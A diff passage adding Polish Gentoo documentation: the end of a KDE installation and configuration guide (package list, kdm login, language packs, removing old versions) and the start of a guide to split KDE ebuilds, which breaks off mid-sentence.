+pakietów. Każdy z nich zawiera wiele aplikacji (dlatego nazywane są
+monolitycznymi). Musimy zdecydować, które pakiety zainstalujemy.
+</p>
+
+<p>
+Możemy przejrzeć listę wszystkich pakietów jakie mogą być zainstalowane:
+</p>
+
+<pre caption="Przedstawienie wszystkich pakietów które zostaną zainstalowane z
+KDE">
+# <i>emerge --pretend kde | less</i>
+</pre>
+
+<p>
+Jeśli nie muszą być instalowane wszystkie pakiety, można zainstalować
+poszczególne osobno. Na pewno należy zainstalować pakiet <c>kdebase</c>,
+ponieważ zawiera on trzon KDE oraz wszystkie składniki potrzebne do uruchomienia
+czegokolwiek z KDE. Poniżej znajduje się tabela z dostępnymi pakietami które
+można zainstalować.
+</p>
+
+<table>
+<tr>
+  <th>Pakiet</th>
+  <th>Opis</th>
+</tr>
+<tr>
+  <ti>kdeaccessibility</ti>
+  <ti>
+    Programy przeznaczone dla osób niepełnosprawnych, tworzone w ramach projektu
+    <uri link="http://accessibility.kde.org">KDE Accessibility Project</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>kdeadmin</ti>
+  <ti>
+    Programy administracyjne KDE, takie jak <c>KCron</c> <!--(Task
+    Scheduling)-->, <c>KUser</c> (zarządzanie użytkownikami) oraz <c>KDat</c>
+    (zarządzanie kopiami bezpieczeństwa)
+  </ti>
+</tr>
+<tr>
+  <ti>kdeartwork</ti>
+  <ti>
+    Różne aplikacje związane ze sztuką komputerową, takie jak wygaszacze ekranu
+    czy tematy pulpitu. Na stronie <uri
+    link="http://www.artist.kde.org">artist.kde.org</uri> można znaleźć więcej
+    informacji na ich temat.
+  </ti>
+</tr>
+<tr>
+  <ti>kdeedu</ti>
+  <ti>
+    Aplikacje edukacyjne KDE przeznaczone dla osób w wieku od 3 do 18 lat. Na
+    stronie <uri link="http://edu.kde.org">KDE Edu Project</uri> można znaleźć
+    więcej informacji.
+  </ti>
+</tr>
+<tr>
+  <ti>kdegames</ti>
+  <ti>
+    Różne gry stworzone dla KDE. Więcej informacji można znaleźć pod adresem
+    <uri link="http://games.kde.org">KDE Games Center</uri>.
+  </ti>
+</tr>
+<tr>
+  <ti>kdegraphics</ti>
+  <ti>
+    Oprogramowanie związane z grafiką, przeznaczone dla KDE, w tym
+    <c>KSnapshot</c> (oprogramowanie do tworzenia zrzutów ekranu),
+    <c>KolourPaint</c> (prosty edytor grafiki), <c>Kpdf</c> (przeglądarka plików
+    PDF), <c>KIconEdit</c> (edytor ikon) oraz <c>KPovModeler</c> (oprogramowanie
+    do modelowanie w trzech wymiarach).
+  </ti>
+</tr>
+<tr>
+ <ti>kdemultimedia</ti>
+  <ti>
+    Oprogramowanie związane z multimediami, włączając wsparcie dla aplikacji
+    obsługujących dyski CD, MP3, DVD, dźwiękowych i wideo. Więcej informacji
+    znajduje się na stronie projektu <uri link="http://multimedia.kde.org">KDE
+    Multimedia Project</uri>.
+  </ti>
+</tr>
+<tr>
+  <ti>kdenetwork</ti>
+  <ti>
+    Aplikacje związane z pracą w sieci, jak <c>Kopete</c> (wieloprotokołowy
+    komunikator), <c>kppp</c> (Dial-In) i <c>KSirc</c> (klient IRC). Należy
+    pamiętać, że <c>konqueror</c> (menedżer plików <e>i</e> przeglądarka) jest
+    częścią pakietu <c>kdebase</c>
+  </ti>
+</tr>
+<tr>
+  <ti>kdepim</ti>
+  <ti>
+    Narzędzia do zarządzania informacjami osobistymi, takie jak
+    <c>KOrganizer</c> (dziennik), <c>KAddressbook</c> (książka adresowa),
+    <c>Kontact</c> (praca grupowa) oraz <c>KMail</c> (poczta elektroniczna).
+    Więcej informacji o nich znajdziemy na stronie projektu <uri
+    link="http://pim.kde.org">KDE PIM Project</uri>.
+  </ti>
+</tr>
+<tr>
+  <ti>kdesdk</ti>
+  <ti>
+    Narzędzia do rozwijania kodu, włączając <c>KBabel</c> (narzędzie do
+    tłumaczeń), <c>KBugBuster</c> (interfejs użytkownika do śledzenia dziur w
+    KDE) oraz <c>Kompare</c> (interfejs do przedstawiania różnic w plikach).
+  </ti>
+</tr>
+<tr>
+  <ti>kdetoys</ti>
+  <ti>
+    Różne zabawki które przynoszą rozrywkę w trakcie oczekiwania na przybycie
+    pizzy. Znajdują się tu takie aplety jak <c>eyesapplet</c> oraz
+    <c>fifteenapplet</c>, ale również takie narzędzia jak <c>amor</c>, które nie
+    robią nic oprócz zjadania zasobów :)
+  </ti>
+</tr>
+<tr>
+  <ti>kdeutils</ti>
+  <ti>
+    Graficzne narzędzia systemowe takie jak <c>kcalc</c> (kalkulator),
+    <c>kdessh</c> (terminal SSH), <c>kfloppy</c> (czynności związane ze stacjami
+    dyskietek), itp.
+  </ti>
+</tr>
+<tr>
+  <ti>kde-i18n</ti>
+  <ti>
+    Internacjonalne elementy KDE. Pakiet zawiera m.in. przetłumaczoną
+    dokumentację. Więcej informacji uzyskać można na stronie <uri
+    link="http://i18n.kde.org">projektu KDE i18n</uri>.
+  </ti>
+</tr>
+</table>
+
+<p>
+Dla przykładu, aby zainstalować KDE jedynie z aplikacjami związanymi z siecią
+oraz czynnościami administracyjnymi wykonamy polecenie:
+</p>
+
+<pre caption="Przykładowa instalacja pojedynczych komponenetów KDE">
+# <i>emerge kdebase kdenetwork kdeadmin</i>
+</pre>
+
+<p>
+W przypadku wątpliwości: kompilacja KDE troszkę trwa.
+</p>
+
+</body>
+</section>
+<section>
+<title>Dodatkowe aplikacje KDE</title>
+<body>
+
+<p>
+Aplikacje KDE nie ograniczają się tylko do tych, które dołączane są do
+oficjalnych wydań tego środowiska. Istnieje wiele programów, które wykorzystują
+szkielet KDE i jego biblioteki. Poniżej znajduje się lista tylko tych
+najbardziej popularnych:
+</p>
+
+<table>
+<tr>
+  <th>Nazwa ebuilda</th>
+  <th>Opis</th>
+</tr>
+<tr>
+  <ti><c>koffice</c></ti>
+  <ti>
+    <uri link="http://www.koffice.org/">KOffice</uri> to obszerny pakiet
+    biurowy, w którego skład wchodzą aplikacje przeznaczone do edycji tekstu
+    (KWord), pracy w arkuszu kalkulacyjnym (KSpread), tworzenia prezentacji
+    (KPresenter), edycji grafiki (Krita), zarządzania bazami danych (Kexi) i
+    wiele innych. Podobnie jak KDE instalowane przez ebuildy <c>kde</c> lub
+    <c>kde-meta</c>, KOffice może zostać zainstalowany przy użyciu
+    monolitycznego pakietu (<c>koffice</c>) lub zestawu pojedynczych pakietów
+    (<c>koffice-meta</c>).
+  </ti>
+</tr>
+<tr>
+  <ti><c>amarok</c></ti>
+  <ti>
+    <uri link="http://amarok.kde.org/">amaroK</uri> to posiadający wiele
+    możliwości odtwarzacz muzyczny dla systemów Unix/Linux
+  </ti>
+</tr>
+<tr>
+  <ti><c>k3b</c></ti>
+  <ti>
+    <uri link="http://www.k3b.org/">K3B</uri> stanowi kompletne narzędzie do
+    nagrywania płyt CD/DVD z obsługą płyt audio. Nagrywanie płyt przy jego
+    użyciu jest bardzo proste.
+  </ti>
+</tr>
+<tr>
+  <ti><c>kaffeine</c></ti>
+  <ti>
+    <uri link="http://kaffeine.sourceforge.net/">Kaffeine</uri> to rozbudowany
+    odtwarzacz multimedialny dla KDE.
+  </ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Pierwsze wrażenia</title>
+<body>
+
+<p>
+Spójrzmy teraz na rezultat. Należy przestrzegać tego czego mama od zawsze
+nauczała o pracy na koncie roota. Dlatego też należałoby posłuchać rad mamy i
+uruchomić KDE na koncie zwykłego użytkownika. Trzeba skonfigurować sesję aby
+system uruchamiał KDE po wpisaniu <c>startx</c> w linii poleceń. Wystarczy
+wpisać <c>exec starkde</c> w <path>~/.xinitrc</path> (więcej informacji w
+akapicie <uri link="/doc/pl/xorg-config.xml#using_startx">Używanie startx</uri>
+w dokumencie <uri link="/doc/pl/xorg-config.xml">Konfiguracja serwera X</uri>):
+</p>
+
+<pre caption="Konfigurowanie lokalnej sesji">
+$ <i>echo "exec startkde" &gt; ~/.xinitrc</i>
+</pre>
+
+<p>
+Teraz trzeba wpisać <c>startx</c> w linii poleceń, aby uruchomić środowisko
+graficzne.
+</p>
+
+<pre caption="Uruchamianie KDE">
+$ <i>startx</i>
+</pre>
+
+<p>
+Na powitanie pojawi się aplikacja zwana <c>KPersonalizer</c>. Gratulacje, teraz
+trzeba tylko skonfigurować KDE...
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Konfiguracja KDE</title>
+<section>
+<title>KPersonalizer</title>
+<body>
+
+<p>
+KPersonalizer to aplikacja, która dokonuje konfiguracji KDE. Jest to bardzo
+przydatny kreator, który pozwala w szybki sposób dostosować KDE do własnych
+potrzeb. Przy pierwszym uruchomieniu KDE, KPersonalizer jest uruchamiane
+automatycznie.
+</p>
+
+<p>
+Pierwsze dane jakie należy podać to preferowany kraj oraz język. Jako że jeszcze
+nie zostały zainstalowane pakiety lokalizacyjne, dostępne języki będą bardzo
+ograniczone -- zapewne do wyboru będzie jedynie język angielski. Nie należy się
+tym przejmować, gdyż język będzie można później zmienić.
+</p>
+
+<p>
+Kolejny wybór jaki jest przedstawiany to <e>sposób zachowania się systemu</e>. W
+tym zachowanie się okien, wybór myszą, itd. Przy wybieraniu danego zachowania,
+jego opis jest przedstawiany, aby pomóc przy dokonywaniu wyboru. W razie
+niepewności, nie ma co panikować -- można zmienić to zachowanie w dowolnym
+momencie.
+</p>
+
+<p>
+W kolejnym kroku, KPersonalizer pyta o ilość graficznych urozmaiceń które
+powinny być włączone. Im więcej, tym ładniej będzie wyglądać KDE, jednak
+procesor będzie bardziej obciążony. Jednakże nie jest aż tak źle - na systemie z
+procesorem 600MHz i 128Mb pamięci, włączenie maksymalnej ilości urozmaiceń
+graficznych nadal pozwala na w miarę wygodną pracę.
+</p>
+
+<p>
+Ostatecznie, KDE pyta o styl jaki ma być używany. Styl opisuje dekorację okna,
+temat, wygląd przycisków itd. Małe okienko pozwala zorientować się w ich
+wyglądzie. Czy wspominaliśmy już, że KDE jest bardzo konfigurowalne?
+</p>
+
+<p>
+Teraz można usiąść i się cieszyć się -- KDE się uruchomi, a na ekran zawita
+ładne, uporządkowane i funkcjonalne środowisko graficzne.
+</p>
+
+</body>
+</section>
+<section>
+<title>Instalowanie innych języków</title>
+<body>
+
+<p>
+Ta sekcja przeznaczona jest dla osób, których język macierzysty jest inny niż
+angielski lub które chcą po prostu pracować w KDE w innym języku. Zostanie tu
+opisane jak zainstalować inne języki.
+</p>
+
+<p>
+Paczki językowe znajdują się w paczce <c>kde-i18n</c>. Aby zainstalować wybrany
+pakiet lokalizacyjny, należy ustawić zmienną <c>LINGUAS</c>, aby wskazywała na
+odpowiedni(e) język(i). Rozsądne jest aby umieścić ją w
+<path>/etc/make.conf</path> tak, aby aktualizacja systemu nie usuwała pożądanych
+pakietów językowych.
+</p>
+
+<pre caption="Ustawianie LINGUAS w /etc/make.conf">
+# <i>nano -w /etc/make.conf</i>
+<comment>(Jako przykład, zostaną zainstalowane pakiety dla języka polskiego (pl)
+ oraz  francuskiego (fr))</comment>
+LINGUAS="pl fr"
+</pre>
+
+<p>
+Teraz trzeba wpisać <c>emerge kde-i18n</c>, aby zainstalować odpowiednie
+pakiety. Po instalacji, wystarczy ponownie uruchomić KDE i przejść do Centrum
+Sterowania KDE (K-menu &gt; Control Center). Jest to miejsce w
+którym można kontrolować niemalże każdą część KDE. Jest też ono znacznie
+bardziej rozbudowane niż KPersonalizer.
+</p>
+
+<p>
+Aby zmienić język, należy wejść do <c>Regional &amp; Accessibility</c>,
+<c>Country/Region &amp; Languages</c>. Tam należy dodać wybrane języki. Aby
+ujrzeć zlokalizowane KDE, wystarczy uruchomić go ponownie.
+</p>
+
+</body>
+</section>
+<section>
+<title>Graficzny ekran logowania</title>
+<body>
+
+<p>
+Aby używać programu <c>kdm</c> jako graficznego menadżera logowania (co oznacza,
+że nie trzeba będzie logować się do terminala i wpisywać <c>startx</c> za każdym
+razem), trzeba najpierw zainstalować go, a następnie zmienić jeden plik
+konfiguracyjny i ustawić system, aby uruchamiał się w trybie graficznym tuż po
+wystartowaniu, zgodnie z opisem znajdującym się poniżej.
+</p>
+
+<note>
+Użytkownicy <c>kdebase-meta</c> i <c>kde-meta</c> nie muszą dodatkowo instalować
+pakietu <c>kdm</c>. Jest on już zainstalowany. Jeśli pojawi się problem z
+pakietami blokującymi <c>kde-base/kdm</c>, należy przejść do następnego
+rozdziału.
+</note>
+
+<pre caption="Instalacja programu kdm">
+# <i>emerge --ask kdm</i>
+</pre>
+
+<p>
+W pliku <path>/etc/conf.d/xdm</path>, trzeba ustawić w zmiennej
+<c>DISPLAYMANAGER</c> wartość <c>kdm</c>.
+</p>
+
+<pre caption="Ustawianie zmiennej DISPLAYMANAGER w /etc/conf.d/xdm">
+# <i>nano -w /etc/conf.d/xdm</i>
+<comment>(Trzeba wyedytować poniższą zmienną)</comment>
+DISPLAYMANAGER="kdm"
+</pre>
+
+<p>
+Na zakończenie należy dodać <c>xdm</c> do domyślnego poziomu uruchamiania:
+</p>
+
+<pre caption="Dodawanie xdm do domyślnego poziom uruchamiania">
+# <i>rc-update add xdm default</i>
+</pre>
+
+<p>
+Po ponownym rozruchu systemu, KDM zostanie użyte jako graficzny ekran logowania.
+</p>
+
+<p>
+KDM wyświetli listę dostępnych do uruchomienia sesji, jedną z nich oczywiście
+będzie KDE, pozostałe pozycje będą zależne od zainstalowanego w systemie
+oprogramowania. Sesje dla wszystkich menedżerów okien znajdują się w katalogu
+<path>/usr/share/xsessions/</path>. Jeśli korzysta się z KDM nie trzeba zmieniać
+pliku <path>~/.xinitrc</path>.
+</p>
+
+</body>
+</section>
+<section id="kde_device_mounting">
+<title>Montowanie urządzeń w KDE</title>
+<body>
+
+<p>
+KDE daje możliwość montowania urządzeń takich jak napęd CD-ROM czy pamięć USB
+poprzez pojedyncze kliknięcie w graficznym interfejsie. Aby skorzystać z tej
+funkcjonalności konieczne jest skompilowanie KDE z flagą USE <c>hal</c> i
+zainstalowanie programów <c>dbus</c> i <c>hal</c>. Należy również dodać
+<c>dbus</c> i <c>hal</c> do domyślnego poziomu uruchamiania, a użytkownicy
+powinni być członkami grupy <c>plugdev</c>.
+</p>
+
+<pre caption="Ustawienia dla montowania urządzeń">
+# <i>emerge --ask dbus hal</i>
+# <i>rc-update add dbus default</i>
+# <i>rc-update add hald default</i>
+<comment>Add &lt;user&gt; to the plugdev group</comment>
+# <i>gpasswd -a &lt;user&gt; plugdev</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Zarządzanie instalacjami KDE</title>
+<section>
+<title>Wielokrotne instalacje</title>
+<body>
+
+<p>
+Jedną ze specyficznych cech zarządzania instalacjami KDE w Gentoo jest to, że
+kiedy nowa seria KDE zostaje opublikowana (jak na przykład seria 3.5.x,
+zastępująca serię 3.4.x), zostanie ona zainstalowana obok starej i jej nie
+nadpisze. Przykładowo, jeśli posiadamy KDE 3.4 i zainstalujemy KDE 3.5, to
+będziemy posiadali w systemie dwie wersje, jedną zainstalowaną w katalogu
+<path>/usr/kde/3.4/</path> i drugą w <path>/usr/kde/3.5/</path>.
+</p>
+
+<p>
+Należy zwrócić uwagę na fakt, że wersje KDE z różnych serii posiadają oddzielne
+katalogi z konfiguracją w katalogu domowym użytkownika. KDE 3.4 wczytuje swoje
+ustawienia z katalogu <path>/home/&lt;user&gt;/.kde3.4</path>. Gdy po raz
+pierwszy uruchomimy KDE 3.5, utworzony zostanie katalog
+<path>/home/&lt;user&gt;/.kde3.5</path>, do którego przeniesiona zostanie
+konfiguracja wersji 3.4. Pliki konfiguracyjne dwóch serii mogą być modyfikowane
+niezależnie.
+</p>
+
+<p>
+Kolejną sprawą, o której należy pamiętać w czasie aktualizacji KDE, jest
+możliwość wystąpienia problemów z dodatkowymi aplikacjami KDE, które wcześniej
+zainstalowaliśmy (jak <c>koffice</c>, <c>amarok</c> lub <c>k3b</c>). Konieczne
+jest przekompilowanie takich programów w obecności nowej wersji KDE. Gdy tylko
+zaczniemy używać nowej serii KDE, musimy powtórnie zainstalować te aplikacje,
+aby zostały one powiązane z nowymi bibliotekami.
+</p>
+
+</body>
+</section>
+<section>
+<title>Odinstalowywanie starej wersji</title>
+<body>
+
+<p>
+Posiadanie wielu wersji KDE zainstalowanych jednocześnie wywołuje problem, w
+jaki sposób usunąć starsze wersje, gdy zdecydujemy, że nie są one nam już
+potrzebne. Niestety portage nie daje możliwości odinstalowania pakietu i
+wszystkich jego zależności przy pomocy pojedynczej komendy, więc jeśli wykonamy
+polecenie <c>emerge --unmerge kde</c>, w rzeczywistości nie usuniemy pakietów
+KDE.
+</p>
+
+<p>
+Aby usunąć jakąś wersję KDE (przykładowo 3.4), poszczególne pakiety muszą zostać
+usunięte.
+</p>
+
+<pre caption="Usuwanie pakietów KDE 3.4">
+# <i>emerge --unmerge =arts-3.4* =kdelibs-3.4* =kdebase-3.4* ...</i>
+</pre>
+
+<p>
+Oczywiście jest to sposób skrajnie niewygodny, jeśli zainstalowaliśmy wiele
+programów KDE. Powyższą operację można zautomatyzować na wiele sposobów,
+poniższy jest tylko przykładem.
+</p>
+
+<p>
+Na początku wygenerujemy listę wszystkich pakietów, jakie chcemy usunąć.
+Posłużymy się narzędziem <c>equery</c>, który jest częścią pakietu
+<c>app-portage/gentoolkit</c>:
+</p>
+
+<pre caption="Generowanie listy pakietów do usunięcia">
+<comment>(Wszystkie zainstalowane pakiety KDE)</comment>
+# <i>equery list kde-base/</i>
+<comment>(Zainstalowane pakiety KDE 3.4)</comment>
+# <i>equery list kde-base/ | grep 3\.4</i>
+</pre>
+
+<p>
+Należy dwukrotnie sprawdzić czy lista pakietów zawiera programy, które
+powinniśmy usunąć z systemu. Jeśli lista jest poprawna, możemy przekazać ją jako
+argument dla komendy <c>emerge --unmerge</c>.
+</p>
+
+<pre caption="Usuwanie wybranych pakietów">
+# <i>equery list kde-base/ | grep 3\.4 | xargs emerge --unmerge --pretend</i>
+</pre>
+
+<p>
+Sprawdźmy jeszcze raz listę programów i jeśli jest ona poprawna powtórzmy
+powyższą komendę bez parametru <c>--pretend</c>, aby rozpocząć proces
+usuwania.
+</p>
+
+<p>
+Gdy ten proces zakończy się, katalog <path>/usr/kde/3.4/</path> powinien
+zawierać tylko kilka plików (głównie pliki konfiguracyjne - polityka portage
+zakłada, aby nigdy nie ingerować w konfigurację). Jeśli chcemy, możemy
+bezpiecznie usunąć katalog <path>/usr/kde/3.4/</path> razem z jego zawartością,
+aby pozbyć się pozostałości KDE 3.4.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Często zadawane pytania</title>
+<section>
+<title>KDE jest niezwykle wolne podczas startu</title>
+<body>
+
+<p>
+Trzeba upewnić się, że plik <path>/etc/hosts</path> jest prawidłowy:
+</p>
+
+<ul>
+  <li>
+    W przypadku statycznego numeru IP, trzeba upewnić się że FQDN oraz nazwa
+    hosta są odpowiednio wpisane, np. <c>192.168.0.10 tux.mydomain tux</c>
+  </li>
+  <li>
+    W przypadku adresu przydzielanego dynamicznie lub gdy nie ma w ogóle
+    dodatkowych interfejsów, należy dodać nazwę hosta w linijce z adresem
+    localhost, np. <c>127.0.0.1 localhost tux</c>
+  </li>
+</ul>
+
+<p>
+Należy upewnić się, że dla dysków uruchomione jest DMA:
+</p>
+
+<pre caption="Sprawdzanie ustawień DMA">
+# <i>hdparm /dev/hda</i>
+<comment>(...)</comment>
+using_dma       = 1 (on)
+<comment>(...)</comment>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/pl/desktop/kde/kde-split-ebuilds.xml b/xml/htdocs/proj/pl/desktop/kde/kde-split-ebuilds.xml
new file mode 100644
index 00000000..a0e336e5
--- /dev/null
+++ b/xml/htdocs/proj/pl/desktop/kde/kde-split-ebuilds.xml
@@ -0,0 +1,491 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/desktop/kde/kde-split-ebuilds.xml,v 1.2 2008/08/16 14:37:31 rane Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide lang="pl">
+
+<title>Rozdzielone ebuildy KDE</title>
+
+<author title="Autor">
+  <mail link="danarmak@gentoo.org">Dan Armak</mail>
+</author>
+<author title="Redaktor">
+  <mail link="greg_g@gentoo.org">Gregorio Guidi</mail>
+</author>
+<author title="Tłumaczenie">
+   Robert Frączek
+</author>
+<author title="Redaktor">
+  <mail link="philantrop@gentoo.org">Wulf C. Krueger</mail>
+</author>
+<author title="Tłumaczenie">
+  <mail link="stawrul@gmail.com">Waldemar Korłub</mail>
+</author>
+
+<abstract>
+Wraz z KDE 3.4 zostały wprowadzone do drzewa Portage rozdzielone ebuildy. Ten
+poradnik opisuje nowe możliwości, które one nam dają.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.12</version>
+<date>2008-04-26</date>
+
+<chapter>
+<title>Rozdzielone ebuildy KDE.</title>
+<section>
+<title>Czym one są?</title>
+<body>
+
+<p>
+Do stycznia 2005 roku wszystkie te ebuildy w Portage były monolityczne. Było
+ich tylko 15 (<c>kdabase</c>, <c>kdenetwork</c>, ...) i każdy instalował wiele
+aplikacji, które w zasadzie nie były zależne od siebie. Nie była to do końca
+optymalna sytuacja i z pewnością niezbyt zgodna z założeniami Gentoo, jednak
+była tolerowana przez długi okres czasu.
+</p>
+
+<p>
+Nowe rozdzielone pakiety(dla <c>konquerora</c>, <c>kmaila</c>, ...) poprawiły
+tą sytuację dostarczając odseparowane ebuildy dla każdej poszczególnej
+aplikacji KDE. To dało nam całkowitą liczbę 330 nowych ebuildów w kategorii
+kde-base.
+</p>
+
+<p>
+Ciągle udostępniamy monolityczne ebuildy dla KDE 3.5. Jednak to te rozdzielone
+są nowym standardem i nie przewiduje się tworzenia tych monolitycznych dla KDE
+od wersji 4.0.
+</p>
+
+<p>
+Wreszcie, należało by wspomnieć, że istnieją także rozdzielone ebuildy dla
+Koffice. Instalują one osobno takie programy jak <c>kword</c>, <c>kugar</c>
+itp.
+</p>
+
+</body>
+</section>
+<section>
+<title>Jak instalować rozdzielone ebuildy</title>
+<body>
+
+<p>
+W momencie pisania tego tekstu ostatnim stabilnym wydaniem KDE było 3.5.8,
+natomiast ostatnim niestabilnym (~arch) wydanie 3.5.9. Rozdzielone i
+monolityczne ebuildy są dostępne w drzewie Portage. Wydanie 4.0.x wkrótce
+znajduje się w drzewie Portage, ale jest zamaskowane.
+</p>
+
+<ul>
+  <li>
+    Aby zainstalować poszczególne pakiety, takie jak np. kmail, po prostu
+    wykonujemy <c>emerge kmail</c>
+  </li>
+  <li>
+    Aby zainstalować podstawowe środowisko kde, umożliwiające zalogowanie się do
+    minimalnej sesji KDE, wpisujemy <c>emerge kdebase-startkde</c>
+  </li>
+  <li>
+    Aby uzyskać dokładny odpowiednik jednego z monolitycznych pakietów - na
+    przykład, aby zainstalować wszystkie aplikacje znajdujące się w
+    <c>kdebase</c> za pomocą podzielonych ebuildów - można wykonać <c>emerge
+    kdebase-meta</c> (lub <c>kdepim-meta</c> dla kdepim, itd.) Aby zainstalować
+    absolutnie wszystkie rozdzielone ebuildy KDE używamy <c>emerge kde-meta</c>.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Jak przejść z monolitycznego KDE na rozdzielone ebuildy?</title>
+<body>
+
+<p>
+Kiedy jest zainstalowane KDE 3.3.x, można po prostu wpisać polecenie <c>emerge
+kde-meta</c>, aby zainstalować rozdzielone KDE 3.5.x bez naruszania obecnej
+instalacji.
+</p>
+
+<p>
+Jeśli zainstalowane jest monolityczne KDE 3.4.x lub 3.5.x, trzeba najpierw je
+usunąć, a dopiero potem przystąpić do instalacji wersji podzielonej. Można tego
+dokonywać tylko na wybranych pakietach, nie trzeba od razu usuwać całości.
+</p>
+
+<p>
+Nie należy obawiać się, że przejście na rozdzielone ebuildy może cokolwiek
+zepsuć. Portage posiada system blokad, które zapewniają, że jeśli coś da się
+bezpośrednio zainstalować, to będzie to działało prawidłowo.
+</p>
+
+</body>
+</section>
+<section>
+<title>Zalety rozdzielonych ebuildów</title>
+<body>
+
+<p>
+Oto krótka lista korzyści z przejścia na rozdzielone ebuildy:
+</p>
+
+<ul>
+  <li>
+    Większość programów KDE nie zmienia się pomiędzy drugorzędnymi wydaniami
+    KDE. Na przykład, aktualizacja KDE z wersji 3.3.1 na 3.3.2 zmienia mniej niż
+    100 aplikacji z 320. Podzielone paczki, umożliwiają tworzenie nowych
+    ebuildów tylko dla paczek, które zostały zmienione, oszczędzając (w tym
+    przykładzie) więcej niż dwie trzecie czasu kompilacji na aktualizację.
+  </li>
+  <li>
+    Poprawki zazwyczaj dotyczą konkretnych aplikacji. Dzięki nowej filozofii
+    mogą być testowane, zatwierdzane i oddawane szybciej, a więc deweloperzy
+    będą mieli mniej do zrobienia. Poza tym, jak już wyżej napisałem, zwykły
+    użytkownik będzie zużywał znacznie mniej czasu na aktualizację, co jest to
+    szczególnie ważne przy aktualizacjach związanych z bezpieczeństwem.
+  </li>
+  <li>
+    Użytkownicy innych środowisk graficznych i lżejszych menadżerów okien mogą
+    zainstalować kilka aplikacji KDE, jeśli zechcą, bez ogromnych zależności,
+    które powodowały stare ebuildy takie jak <c>kdebase</c> czy <c>kdepim</c>.
+  </li>
+  <li>
+    Użytkownicy mogą wybrać teraz aplikacje jakie mają zainstalowane. Powody
+    mogą być różne:
+
+    <ul>
+      <li>
+        Zależy im na czasie kompilacji. <c>emerge kdebase kdepim kdenetwork</c>
+        trwa strasznie długo, a tak naprawdę potrzebne im są jedynie
+        <c>konqueror</c>, <c>kmail</c> i <c>kopete</c>.
+      </li>
+      <li>
+  Zależy im na niezaśmiecaniu dysku. Każda nieużywana aplikacja sprawia, że
+  cenne megabajty się marnują. Dysk z większą ilością wolnego miejsca też wtedy
+  oddycha swobodniej; jest szybszym i szczęśliwszym dyskiem.
+      </li>
+      <li>
+  Troszczą się o bezpieczeństwo systemu. Każde zainstalowane oprogramowanie
+  jest potencjalnym celem ataku i dlatego nie należy instalować niczego co nie
+  jest potrzebne.
+      </li>
+      <li>
+  Dokładnie poznali <uri link="/main/pl/philosophy.xml"> filozofię Gentoo</uri>
+  i nie mogą znieść tak wielu programów ściśniętych w jeden pakiet? My też nie
+  możemy.
+      </li>
+    </ul>
+  </li>
+  <li>
+    Ostatecznie, należy zaznaczyć, że rozdzielone ebuildy zapewniają znacznie
+    większą elastyczność w definiowaniu dla nich flag USE.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Współpraca rozdzielonych i monolitycznych ebuildów.</title>
+<body>
+
+<p>
+Rozdzielone i monolityczne ebuildy mogą swobodnie razem współpracować. Jedynym
+ograniczeniem jest to, że ebuild monolityczny nie może być jednocześnie
+zainstalowany razem z rozdzielonym pochodzącym od niego. W ebuildach KDE
+istnieją mechanizmy blokowania nie zezwalające na to, zatem można robić
+wszystko na co tylko emerge pozwoli.
+</p>
+
+<p>
+Jednak zwykle nie ma powodu, aby używać takich mieszanych konfiguracji. W
+rzeczywistości, za wyjątkiem specjalnych przypadków jak na przykład bardzo wolne
+komputery (mips), należy używać rozdzielonych ebuildów do wszystkich swoich
+potrzeb.
+</p>
+
+<p>
+Rozdzielone ebuildy są także tymi domyślnymi. Oznacza to, że kiedy jakieś inne
+ebuildy zależą od aplikacji KDE to bedą chciały instalować właśnie te
+rozdzielone ebuildy. Jednakże monolityczne ebuildy także spełnią te zależności,
+więc można zainstalować monolityczny ebuild ręcznie i wtedy dopiero ebuild który
+od niego zależał.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Problemy z wydajnością.</title>
+<section>
+<title>Dlaczego rozdzielone ebuildy są takie powolne?</title>
+<body>
+
+<p>
+Mówiliśmy już <uri
+link="http://bugs.gentoo.org/show_bug.cgi?id=11123">dawno</uri>, że rozdzielone
+ebuildy instalują się dłużej niż te monolityczne, ponieważ dodatkowo dla każdej
+aplikacji musi zostać uruchomione rozpakowywanie i uruchamianie skryptu
+konfiguracyjnego. Kompletne <c>emerge kde-meta</c> może zabrać około 20-30%
+więcej czasu niż klasyczne <c>emerge kde</c>, które i tak zajmowało go już
+mnóstwo.
+</p>
+
+<p>
+Co więcej, teraz każdy z rozdzielonych ebuildów uruchamia <c>make -f
+admin/Makefile.cvs</c> (to oznacza uruchomienie autoconf, automake, itd. oraz
+kilka powiązanych specyficznych dla KDE skryptów). To powoduje dodatkowe
+narzuty czasowe w przybliżeniu równe tym spowodowanym przez skrypt configure.
+</p>
+
+<p>
+Ostatecznie, rozdzielone ebuildy potrzebują wypakować specyficzne pliki z
+dużych archiwów. Jest to rozwiązanie wolniejsze od rozpakowywania małych
+dedykowanych archiwów. Jednak tworzenie takich małych archiwów dla systemów, na
+kórych KDE 3.x jest budowane przy pomocy autotools jest trudnym zadaniem.
+</p>
+
+<p>
+Warto jeszcze raz podkreślić, że z rozdzielonymi ebuildami czas kompilacji przy
+aktualizowaniu KDE może zostać znacząco skrócony poprzez aktualizacje tylko
+tych aplikacji KDE, które naprawdę się zmieniły. Korzyści jakie dają takie
+pojedyńcze aktualizacje aplikacji zwykle wynagradzają z nawiązką czas stracony
+podczas pierwszej instalacji KDE z nowych ebuildów.
+</p>
+
+<p>
+W końcu instalacja całego KDE ma sens tylko jeżeli chcemy zobaczyć jakie
+aplikacje zawiera KDE lub jeśli tworzymy środowisko dla wielu użytkowników.
+Jednak większość ludzi używa tylko części z ponad 300 dostępnych aplikacji
+KDE. Każdy kto naprawdę troszczy się o czas kompilacji, np. właściciele
